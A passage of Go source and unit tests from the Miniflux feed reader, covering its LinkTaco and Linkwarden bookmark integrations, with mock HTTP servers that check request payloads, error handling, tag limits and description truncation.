\"test-org\",\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tentryContent: \"Content\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t// Should not be called\n\t\t\t\tt.Error(\"Server should not be called when API token is missing\")\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"missing API token or organization slug\",\n\t\t},\n\t\t{\n\t\t\tname:         \"missing organization slug\",\n\t\t\tapiToken:     \"test-token\",\n\t\t\torgSlug:      \"\",\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tentryContent: \"Content\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t// Should not be called\n\t\t\t\tt.Error(\"Server should not be called when org slug is missing\")\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"missing API token or organization slug\",\n\t\t},\n\t\t{\n\t\t\tname:         \"GraphQL error response\",\n\t\t\tapiToken:     \"test-token\",\n\t\t\torgSlug:      \"test-org\",\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tentryContent: \"Content\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\tjson.NewEncoder(w).Encode(map[string]any{\n\t\t\t\t\t\"errors\": []any{\n\t\t\t\t\t\tmap[string]any{\n\t\t\t\t\t\t\t\"message\": \"Invalid input\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"Invalid input\",\n\t\t},\n\t\t{\n\t\t\tname:         \"HTTP error status\",\n\t\t\tapiToken:     \"test-token\",\n\t\t\torgSlug:      \"test-org\",\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tentryContent: \"Content\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"status=401\",\n\t\t},\n\t\t{\n\t\t\tname:         \"private visibility permission error\",\n\t\t\tapiToken:     \"test-token\",\n\t\t\torgSlug:      \"test-org\",\n\t\t\tvisibility:   \"PRIVATE\",\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tentryContent: \"Content\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\tjson.NewEncoder(w).Encode(map[string]any{\n\t\t\t\t\t\"errors\": []any{\n\t\t\t\t\t\tmap[string]any{\n\t\t\t\t\t\t\t\"message\": \"PRIVATE visibility requires a paid LinkTaco account\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"PRIVATE visibility requires a paid LinkTaco account\",\n\t\t},\n\t\t{\n\t\t\tname:         \"content truncation\",\n\t\t\tapiToken:     \"test-token\",\n\t\t\torgSlug:      \"test-org\",\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tentryContent: strings.Repeat(\"a\", 600), // Content longer than 500 chars\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tbody, _ := io.ReadAll(r.Body)\n\t\t\t\tvar req map[string]any\n\t\t\t\tjson.Unmarshal(body, &req)\n\n\t\t\t\t// Check that description was truncated\n\t\t\t\tvariables := req[\"variables\"].(map[string]any)\n\t\t\t\tinput := variables[\"input\"].(map[string]any)\n\t\t\t\tdescription := input[\"description\"].(string)\n\n\t\t\t\tif len(description) != maxDescriptionLength {\n\t\t\t\t\tt.Errorf(\"Expected description length %d, got %d\", maxDescriptionLength, len(description))\n\t\t\t\t}\n\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\tjson.NewEncoder(w).Encode(map[string]any{\n\t\t\t\t\t\"data\": map[string]any{\n\t\t\t\t\t\t\"addLink\": map[string]any{\"id\": \"123\"},\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t},\n\t\t\twantErr: false,\n\t\t},\n\t\t{\n\t\t\tname:         \"tag limiting\",\n\t\t\tapiToken:     \"test-token\",\n\t\t\torgSlug:      \"test-org\",\n\t\t\ttags:         \"tag1,tag2,tag3,tag4,tag5,tag6,tag7,tag8,tag9,tag10,tag11,tag12\",\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tentryContent: \"Content\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tbody, _ := io.ReadAll(r.Body)\n\t\t\t\tvar req map[string]any\n\t\t\t\tjson.Unmarshal(body, &req)\n\n\t\t\t\t// Check that only 10 tags were sent\n\t\t\t\tvariables := req[\"variables\"].(map[string]any)\n\t\t\t\tinput := variables[\"input\"].(map[string]any)\n\t\t\t\ttags := input[\"tags\"].(string)\n\n\t\t\t\ttagCount := len(strings.Split(tags, \",\"))\n\t\t\t\tif tagCount != maxTags {\n\t\t\t\t\tt.Errorf(\"Expected %d tags, got %d\", maxTags, tagCount)\n\t\t\t\t}\n\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\tjson.NewEncoder(w).Encode(map[string]any{\n\t\t\t\t\t\"data\": map[string]any{\n\t\t\t\t\t\t\"addLink\": map[string]any{\"id\": \"123\"},\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t},\n\t\t\twantErr: false,\n\t\t},\n\t\t{\n\t\t\tname:         \"invalid JSON response\",\n\t\t\tapiToken:     \"test-token\",\n\t\t\torgSlug:      \"test-org\",\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tentryContent: \"Content\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\tw.Write([]byte(\"invalid json\"))\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"unable to decode response\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\t// Create test server if we have a server response function\n\t\t\tvar serverURL string\n\t\t\tif tt.serverResponse != nil {\n\t\t\t\tserver := httptest.NewServer(http.HandlerFunc(tt.serverResponse))\n\t\t\t\tdefer server.Close()\n\t\t\t\tserverURL = server.URL\n\t\t\t}\n\n\t\t\t// Create client with test server URL\n\t\t\tclient := &Client{\n\t\t\t\tgraphqlURL: serverURL,\n\t\t\t\tapiToken:   tt.apiToken,\n\t\t\t\torgSlug:    tt.orgSlug,\n\t\t\t\ttags:       tt.tags,\n\t\t\t\tvisibility: tt.visibility,\n\t\t\t}\n\n\t\t\t// Call CreateBookmark\n\t\t\terr := client.CreateBookmark(tt.entryURL, tt.entryTitle, tt.entryContent)\n\n\t\t\t// Check error expectations\n\t\t\tif tt.wantErr {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Errorf(\"Expected error but got none\")\n\t\t\t\t} else if tt.errContains != \"\" && !strings.Contains(err.Error(), tt.errContains) {\n\t\t\t\t\tt.Errorf(\"Expected error containing '%s', got '%s'\", tt.errContains, err.Error())\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Errorf(\"Unexpected error: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestNewClient(t *testing.T) {\n\ttests := []struct {\n\t\tname               string\n\t\tapiToken           string\n\t\torgSlug            string\n\t\ttags               string\n\t\tvisibility         string\n\t\texpectedVisibility string\n\t}{\n\t\t{\n\t\t\tname:               \"with all parameters\",\n\t\t\tapiToken:           \"token\",\n\t\t\torgSlug:            \"org\",\n\t\t\ttags:               \"tag1,tag2\",\n\t\t\tvisibility:         \"PRIVATE\",\n\t\t\texpectedVisibility: \"PRIVATE\",\n\t\t},\n\t\t{\n\t\t\tname:               \"empty visibility defaults to PUBLIC\",\n\t\t\tapiToken:           \"token\",\n\t\t\torgSlug:            \"org\",\n\t\t\ttags:               \"tag1\",\n\t\t\tvisibility:         \"\",\n\t\t\texpectedVisibility: \"PUBLIC\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tclient := NewClient(tt.apiToken, tt.orgSlug, tt.tags, tt.visibility)\n\n\t\t\tif client.apiToken != tt.apiToken {\n\t\t\t\tt.Errorf(\"Expected apiToken %s, got %s\", tt.apiToken, client.apiToken)\n\t\t\t}\n\t\t\tif client.orgSlug != tt.orgSlug {\n\t\t\t\tt.Errorf(\"Expected orgSlug %s, got %s\", tt.orgSlug, client.orgSlug)\n\t\t\t}\n\t\t\tif client.tags != tt.tags {\n\t\t\t\tt.Errorf(\"Expected tags %s, got %s\", tt.tags, client.tags)\n\t\t\t}\n\t\t\tif client.visibility != tt.expectedVisibility {\n\t\t\t\tt.Errorf(\"Expected visibility %s, got %s\", tt.expectedVisibility, client.visibility)\n\t\t\t}\n\t\t\tif client.graphqlURL != defaultGraphQLURL {\n\t\t\t\tt.Errorf(\"Expected graphqlURL %s, got %s\", defaultGraphQLURL, client.graphqlURL)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestGraphQLMutation(t *testing.T) {\n\tconfigureIntegrationAllowPrivateNetworksOption(t)\n\n\t// Test that the GraphQL mutation is properly formatted\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tbody, _ := io.ReadAll(r.Body)\n\t\tvar req map[string]any\n\t\tif err := json.Unmarshal(body, &req); err != nil {\n\t\t\tt.Fatalf(\"Failed to parse request: %v\", err)\n\t\t}\n\n\t\t// Verify mutation structure\n\t\tquery, ok := req[\"query\"].(string)\n\t\tif !ok {\n\t\t\tt.Fatal(\"Missing query field\")\n\t\t}\n\n\t\t// Check that mutation contains expected parts\n\t\tif !strings.Contains(query, \"mutation AddLink\") {\n\t\t\tt.Error(\"Mutation should contain 'mutation AddLink'\")\n\t\t}\n\t\tif !strings.Contains(query, \"$input: LinkInput!\") {\n\t\t\tt.Error(\"Mutation should contain input parameter\")\n\t\t}\n\t\tif !strings.Contains(query, \"addLink(input: $input)\") {\n\t\t\tt.Error(\"Mutation should contain addLink call\")\n\t\t}\n\n\t\t// Verify variables structure\n\t\tvariables, ok := req[\"variables\"].(map[string]any)\n\t\tif !ok {\n\t\t\tt.Fatal(\"Missing variables field\")\n\t\t}\n\n\t\tinput, ok := variables[\"input\"].(map[string]any)\n\t\tif !ok {\n\t\t\tt.Fatal(\"Missing input in variables\")\n\t\t}\n\n\t\t// Check all required fields\n\t\trequiredFields := []string{\"url\", \"title\", \"description\", \"orgSlug\", \"visibility\", \"unread\", \"starred\", \"archive\", \"tags\"}\n\t\tfor _, field := range requiredFields {\n\t\t\tif _, ok := input[field]; !ok {\n\t\t\t\tt.Errorf(\"Missing required field: %s\", field)\n\t\t\t}\n\t\t}\n\n\t\t// Return success\n\t\tw.WriteHeader(http.StatusOK)\n\t\tjson.NewEncoder(w).Encode(map[string]any{\n\t\t\t\"data\": map[string]any{\n\t\t\t\t\"addLink\": map[string]any{\n\t\t\t\t\t\"id\": \"123\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t}))\n\tdefer server.Close()\n\n\tclient := &Client{\n\t\tgraphqlURL: server.URL,\n\t\tapiToken:   \"test-token\",\n\t\torgSlug:    \"test-org\",\n\t\ttags:       \"test\",\n\t\tvisibility: \"PUBLIC\",\n\t}\n\n\terr := client.CreateBookmark(\"https://example.com\", \"Test Title\", \"Test Content\")\n\tif err != nil {\n\t\tt.Errorf(\"Unexpected error: %v\", err)\n\t}\n}\n\nfunc BenchmarkCreateBookmark(b *testing.B) {\n\t// Create a mock server that always returns success\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t\tjson.NewEncoder(w).Encode(map[string]any{\n\t\t\t\"data\": map[string]any{\n\t\t\t\t\"addLink\": map[string]any{\n\t\t\t\t\t\"id\": \"123\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t}))\n\tdefer server.Close()\n\n\tclient := &Client{\n\t\tgraphqlURL: server.URL,\n\t\tapiToken:   \"test-token\",\n\t\torgSlug:    \"test-org\",\n\t\ttags:       \"tag1,tag2,tag3\",\n\t\tvisibility: \"PUBLIC\",\n\t}\n\n\t// Run benchmark\n\tb.ResetTimer()\n\tfor i := 0; i < b.N; i++ {\n\t\t_ = client.CreateBookmark(\"https://example.com\", \"Test Title\", \"Test Content\")\n\t}\n}\n\nfunc BenchmarkTagProcessing(b *testing.B) {\n\t// Benchmark tag splitting and limiting\n\ttags := \"tag1,tag2,tag3,tag4,tag5,tag6,tag7,tag8,tag9,tag10,tag11,tag12,tag13,tag14,tag15\"\n\n\tb.ResetTimer()\n\tfor i := 0; i < b.N; i++ {\n\t\ttagsSplitFn := func(c rune) bool {\n\t\t\treturn c == ',' || c == ' '\n\t\t}\n\t\tsplitTags := strings.FieldsFunc(tags, tagsSplitFn)\n\t\tif len(splitTags) > maxTags {\n\t\t\tsplitTags = splitTags[:maxTags]\n\t\t}\n\t\t_ = strings.Join(splitTags, \",\")\n\t}\n}\n\nfunc configureIntegrationAllowPrivateNetworksOption(t *testing.T) {\n\tt.Helper()\n\n\tt.Setenv(\"INTEGRATION_ALLOW_PRIVATE_NETWORKS\", \"1\")\n\n\tconfigParser := config.NewConfigParser()\n\tparsedOptions, err := configParser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to configure test options: %v\", err)\n\t}\n\n\tpreviousOptions := config.Opts\n\tconfig.Opts = parsedOptions\n\tt.Cleanup(func() {\n\t\tconfig.Opts = previousOptions\n\t})\n}\n"
  },
  {
    "path": "internal/integration/linkwarden/linkwarden.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage linkwarden // import \"miniflux.app/v2/internal/integration/linkwarden\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tbaseURL      string\n\tapiKey       string\n\tcollectionID *int64\n}\n\ntype linkwardenCollection struct {\n\tID *int64 `json:\"id\"`\n}\n\ntype linkwardenRequest struct {\n\tURL        string                `json:\"url\"`\n\tName       string                `json:\"name\"`\n\tCollection *linkwardenCollection `json:\"collection,omitempty\"`\n}\n\nfunc NewClient(baseURL, apiKey string, collectionID *int64) *Client {\n\treturn &Client{baseURL: baseURL, apiKey: apiKey, collectionID: collectionID}\n}\n\nfunc (c *Client) CreateBookmark(entryURL, entryTitle string) error {\n\tif c.baseURL == \"\" || c.apiKey == \"\" {\n\t\treturn errors.New(\"linkwarden: missing base URL or API key\")\n\t}\n\n\tapiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, \"/api/v1/links\")\n\tif err != nil {\n\t\treturn fmt.Errorf(`linkwarden: invalid API endpoint: %v`, err)\n\t}\n\n\tpayload := linkwardenRequest{\n\t\tURL:  entryURL,\n\t\tName: entryTitle,\n\t}\n\n\tif c.collectionID != nil {\n\t\tpayload.Collection = &linkwardenCollection{ID: c.collectionID}\n\t}\n\n\trequestBody, err := json.Marshal(payload)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linkwarden: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linkwarden: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"Authorization\", \"Bearer \"+c.apiKey)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linkwarden: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tresponseBody, err := io.ReadAll(response.Body)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linkwarden: unable to read response body: %v\", err)\n\t}\n\n\tif response.StatusCode >= 400 {\n\t\treturn fmt.Errorf(\"linkwarden: unable to create link: status=%d body=%s\", response.StatusCode, string(responseBody))\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/integration/linkwarden/linkwarden_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage linkwarden\n\nimport (\n\t\"encoding/json\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\nfunc TestCreateBookmark(t *testing.T) {\n\tconfigureIntegrationAllowPrivateNetworksOption(t)\n\n\ttests := []struct {\n\t\tname           string\n\t\tbaseURL        string\n\t\tapiKey         string\n\t\tcollectionID   *int64\n\t\tentryURL       string\n\t\tentryTitle     string\n\t\tserverResponse func(w http.ResponseWriter, r *http.Request, t *testing.T, collectionID *int64)\n\t\twantErr        bool\n\t\terrContains    string\n\t}{\n\t\t{\n\t\t\tname:         \"successful bookmark creation without collection\",\n\t\t\tbaseURL:      \"\",\n\t\t\tapiKey:       \"test-api-key\",\n\t\t\tcollectionID: nil,\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test Article\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request, t *testing.T, collectionId *int64) {\n\t\t\t\t// Verify authorization header\n\t\t\t\tauth := r.Header.Get(\"Authorization\")\n\t\t\t\tif auth != \"Bearer test-api-key\" {\n\t\t\t\t\tt.Errorf(\"Expected Authorization header 'Bearer test-api-key', got %s\", auth)\n\t\t\t\t}\n\n\t\t\t\t// Verify content type\n\t\t\t\tcontentType := r.Header.Get(\"Content-Type\")\n\t\t\t\tif contentType != \"application/json\" {\n\t\t\t\t\tt.Errorf(\"Expected Content-Type 'application/json', got %s\", contentType)\n\t\t\t\t}\n\n\t\t\t\t// Parse and verify request\n\t\t\t\tbody, _ := io.ReadAll(r.Body)\n\t\t\t\tvar req map[string]any\n\t\t\t\tif err := json.Unmarshal(body, &req); err != nil {\n\t\t\t\t\tt.Errorf(\"Failed to parse request body: %v\", err)\n\t\t\t\t}\n\n\t\t\t\t// Verify URL\n\t\t\t\tif reqURL := req[\"url\"]; reqURL != \"https://example.com\" {\n\t\t\t\t\tt.Errorf(\"Expected URL 'https://example.com', got %v\", reqURL)\n\t\t\t\t}\n\n\t\t\t\t// Verify title/name\n\t\t\t\tif reqName := req[\"name\"]; reqName != \"Test Article\" {\n\t\t\t\t\tt.Errorf(\"Expected name 'Test Article', got %v\", reqName)\n\t\t\t\t}\n\n\t\t\t\t// Verify collection is not present when nil\n\t\t\t\tif _, ok := req[\"collection\"]; ok {\n\t\t\t\t\tt.Error(\"Expected collection field to be omitted when collectionId is nil\")\n\t\t\t\t}\n\n\t\t\t\t// Return success response\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\tjson.NewEncoder(w).Encode(map[string]any{\n\t\t\t\t\t\"id\":   \"123\",\n\t\t\t\t\t\"url\":  \"https://example.com\",\n\t\t\t\t\t\"name\": \"Test Article\",\n\t\t\t\t})\n\t\t\t},\n\t\t\twantErr: false,\n\t\t},\n\t\t{\n\t\t\tname:         \"successful bookmark creation with collection\",\n\t\t\tbaseURL:      \"\",\n\t\t\tapiKey:       \"test-api-key\",\n\t\t\tcollectionID: model.OptionalNumber(int64(42)),\n\t\t\tentryURL:     \"https://example.com/article\",\n\t\t\tentryTitle:   \"Test Article With Collection\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request, t *testing.T, collectionID *int64) {\n\t\t\t\t// Verify authorization header\n\t\t\t\tauth := r.Header.Get(\"Authorization\")\n\t\t\t\tif auth != \"Bearer test-api-key\" {\n\t\t\t\t\tt.Errorf(\"Expected Authorization header 'Bearer test-api-key', got %s\", auth)\n\t\t\t\t}\n\n\t\t\t\t// Parse and verify request\n\t\t\t\tbody, _ := io.ReadAll(r.Body)\n\t\t\t\tvar req map[string]any\n\t\t\t\tif err := json.Unmarshal(body, &req); err != nil {\n\t\t\t\t\tt.Errorf(\"Failed to parse request body: %v\", err)\n\t\t\t\t}\n\n\t\t\t\t// Verify URL\n\t\t\t\tif reqURL := req[\"url\"]; reqURL != \"https://example.com/article\" {\n\t\t\t\t\tt.Errorf(\"Expected URL 'https://example.com/article', got %v\", reqURL)\n\t\t\t\t}\n\n\t\t\t\t// Verify title/name\n\t\t\t\tif reqName := req[\"name\"]; reqName != \"Test Article With Collection\" {\n\t\t\t\t\tt.Errorf(\"Expected name 'Test Article With Collection', got %v\", reqName)\n\t\t\t\t}\n\n\t\t\t\t// Verify collection is present and correct\n\t\t\t\tif collection, ok := req[\"collection\"]; ok {\n\t\t\t\t\tcollectionMap, ok := collection.(map[string]any)\n\t\t\t\t\tif !ok {\n\t\t\t\t\t\tt.Error(\"Expected collection to be a map\")\n\t\t\t\t\t}\n\t\t\t\t\tif collectionID, ok := collectionMap[\"id\"]; ok {\n\t\t\t\t\t\t// JSON numbers are float64\n\t\t\t\t\t\tif collectionIDFloat, ok := collectionID.(float64); !ok || int64(collectionIDFloat) != 42 {\n\t\t\t\t\t\t\tt.Errorf(\"Expected collection id 42, got %v\", collectionID)\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tt.Error(\"Expected collection to have 'id' field\")\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tt.Error(\"Expected collection field to be present when collectionId is set\")\n\t\t\t\t}\n\n\t\t\t\t// Return success response\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\tjson.NewEncoder(w).Encode(map[string]any{\n\t\t\t\t\t\"id\":   \"124\",\n\t\t\t\t\t\"url\":  \"https://example.com/article\",\n\t\t\t\t\t\"name\": \"Test Article With Collection\",\n\t\t\t\t})\n\t\t\t},\n\t\t\twantErr: false,\n\t\t},\n\t\t{\n\t\t\tname:         \"missing API key\",\n\t\t\tbaseURL:      \"\",\n\t\t\tapiKey:       \"\",\n\t\t\tcollectionID: nil,\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request, t *testing.T, collectionId *int64) {\n\t\t\t\t// Should not be called\n\t\t\t\tt.Error(\"Server should not be called when API key is missing\")\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"missing base URL or API key\",\n\t\t},\n\t\t{\n\t\t\tname:         \"server error\",\n\t\t\tbaseURL:      \"\",\n\t\t\tapiKey:       \"test-api-key\",\n\t\t\tcollectionID: nil,\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request, t *testing.T, collectionId *int64) {\n\t\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\t\tw.Write([]byte(`{\"error\": \"Internal server error\"}`))\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"unable to create link: status=500\",\n\t\t},\n\t\t{\n\t\t\tname:         \"bad request with null collection id error\",\n\t\t\tbaseURL:      \"\",\n\t\t\tapiKey:       \"test-api-key\",\n\t\t\tcollectionID: nil,\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request, t *testing.T, collectionId *int64) {\n\t\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t\t\tw.Write([]byte(`{\"response\":\"Error: Expected number, received null [collection, id]\"}`))\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"unable to create link: status=400\",\n\t\t},\n\t\t{\n\t\t\tname:         \"unauthorized\",\n\t\t\tbaseURL:      \"\",\n\t\t\tapiKey:       \"invalid-key\",\n\t\t\tcollectionID: nil,\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request, t *testing.T, collectionId *int64) {\n\t\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\t\tw.Write([]byte(`{\"error\": \"Unauthorized\"}`))\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"unable to create link: status=401\",\n\t\t},\n\t\t{\n\t\t\tname:         \"invalid base URL\",\n\t\t\tbaseURL:      \":\",\n\t\t\tapiKey:       \"test-api-key\",\n\t\t\tcollectionID: nil,\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request, t *testing.T, collectionId *int64) {\n\t\t\t\t// Should not be called\n\t\t\t\tt.Error(\"Server should not be called when base URL is invalid\")\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"invalid API endpoint\",\n\t\t},\n\t\t{\n\t\t\tname:         \"missing base URL\",\n\t\t\tbaseURL:      \"\",\n\t\t\tapiKey:       \"\",\n\t\t\tcollectionID: nil,\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request, t *testing.T, collectionId *int64) {\n\t\t\t\t// Should not be called\n\t\t\t\tt.Error(\"Server should not be called when base URL is missing\")\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"missing base URL or API key\",\n\t\t},\n\t\t{\n\t\t\tname:         \"network connection error\",\n\t\t\tbaseURL:      \"http://localhost:1\", // Invalid port that should fail to connect\n\t\t\tapiKey:       \"test-api-key\",\n\t\t\tcollectionID: nil,\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request, t *testing.T, collectionId *int64) {\n\t\t\t\t// Should not be called due to connection failure\n\t\t\t\tt.Error(\"Server should not be called when connection fails\")\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"unable to send request\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\t// Create test server only if we have a valid apiKey and don't have a custom baseURL for error testing\n\t\t\tvar server *httptest.Server\n\t\t\tif tt.apiKey != \"\" && tt.baseURL != \":\" && tt.baseURL != \"http://localhost:1\" {\n\t\t\t\tserver = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\ttt.serverResponse(w, r, t, tt.collectionID)\n\t\t\t\t}))\n\t\t\t\tdefer server.Close()\n\t\t\t}\n\n\t\t\t// Use test server URL if baseURL is empty and we have a server\n\t\t\tbaseURL := tt.baseURL\n\t\t\tif baseURL == \"\" && server != nil {\n\t\t\t\tbaseURL = server.URL\n\t\t\t}\n\n\t\t\t// Create client\n\t\t\tclient := NewClient(baseURL, tt.apiKey, tt.collectionID)\n\n\t\t\t// Call CreateBookmark\n\t\t\terr := client.CreateBookmark(tt.entryURL, tt.entryTitle)\n\n\t\t\t// Check error\n\t\t\tif tt.wantErr {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Error(\"Expected error, got nil\")\n\t\t\t\t} else if tt.errContains != \"\" && !strings.Contains(err.Error(), tt.errContains) {\n\t\t\t\t\tt.Errorf(\"Expected error to contain '%s', got '%s'\", tt.errContains, err.Error())\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Errorf(\"Expected no error, got %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestNewClient(t *testing.T) {\n\ttests := []struct {\n\t\tname         string\n\t\tbaseURL      string\n\t\tapiKey       string\n\t\tcollectionID *int64\n\t}{\n\t\t{\n\t\t\tname:         \"client without collection\",\n\t\t\tbaseURL:      \"https://linkwarden.example.com\",\n\t\t\tapiKey:       \"test-key\",\n\t\t\tcollectionID: nil,\n\t\t},\n\t\t{\n\t\t\tname:         \"client with collection\",\n\t\t\tbaseURL:      \"https://linkwarden.example.com\",\n\t\t\tapiKey:       \"test-key\",\n\t\t\tcollectionID: model.OptionalNumber(int64(123)),\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tclient := NewClient(tt.baseURL, tt.apiKey, tt.collectionID)\n\n\t\t\tif client.baseURL != tt.baseURL {\n\t\t\t\tt.Errorf(\"Expected baseURL %s, got %s\", tt.baseURL, client.baseURL)\n\t\t\t}\n\n\t\t\tif client.apiKey != tt.apiKey {\n\t\t\t\tt.Errorf(\"Expected apiKey %s, got %s\", tt.apiKey, client.apiKey)\n\t\t\t}\n\n\t\t\tif tt.collectionID == nil 